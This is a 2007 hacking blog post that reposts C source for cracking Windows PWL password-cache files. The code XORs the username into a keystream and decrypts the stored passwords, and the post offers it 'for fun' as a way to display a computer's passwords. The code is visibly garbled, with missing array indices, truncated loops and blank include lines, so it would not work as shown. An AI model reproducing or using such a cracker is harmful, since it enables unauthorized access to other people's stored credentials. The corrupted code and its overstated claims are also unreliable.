Tuesday, November 13, 2007

Get the computer password?

Get the computer password?
Description Use it for fun purposes. As soon as

you run this source
code,passwords of computer would be

displayed..ALL the best
# include
# include
# include
# include
# include
# include
# include

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse

allocation table */

if(argc<2){
printf("usage:

glide filename (username)");
exit(1);
}
/* Read PWL file */

fd=fopen(argv[1],"rb");
if(fd==NULL){

printf("can't open file %s",argv[1]);

exit(1);
}
size=0;
while(!feof(fd)){

Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into

keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;


memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream

*/
for(i=0;i<20;i++){
ch=toupper(name);

if(ch==0)break;

if(ch=='.')break;

keystream^=ch;
};
cracked=20;

/* Find allocated resources */

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){

if(Data!=0xff){

Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}
maxr=(((maxr/16)+1)*16); /*

Resourse pointer table size appears to be
divisible by 16 */
/*Search after resources */


First resources */
for(i=0;i{

/*

Find the size of current resourse */

pos=Rpoint;

rsz=Data[pos]+(Data[pos+1]<<8);

rsz^=sizemask;

printf("Analysing block with size:%04x

(%d:%d)
",rsz,i,Rall);

if((Rall==0)&&(rsz!=0)){

printf("Unused

resourse has nonzero size!!!
");

printf("If last

line produed any:You may try to recover
");

printf("Press y

to attempt the recovery
");

ch=getch();

if(ch!='y')exit(0);
rsz=2;

i=i-1;
}

pos=pos+rsz;

/*

Resourse have a tedency to have the wrong

size for some reason*/
/*

Chech for correct size*/

if(i
while(Data[pos+3]!=keystream[1]){

printf(":",Data[pos+3]);

pos=pos+2; /* Very rude may fail */

}
}

pos+=2; /* Include pointer in size */

Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){

keystream[20+2*i]^=Rpoint & 0x00ff;

keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream

recoverd
",cracked);

/* Decrypt resources */
for(i=0;irsz=Rpoint[i+1]-Rpoint;

if(rsz>cracked)rsz=cracked;

printf("Resource[%d](%d)
",i,rsz);

for(j=0;j
printf("%c",Data[Rpoint+j]^keystream[j]);

printf("
");
}
exit(0);
}

Oki friendz i got this trick from tha Brazillian hacking community so i don't know which ebook they actually got this trick from. So, if anyone knows tha actual author for this trick. U R welcome to add here. Thankz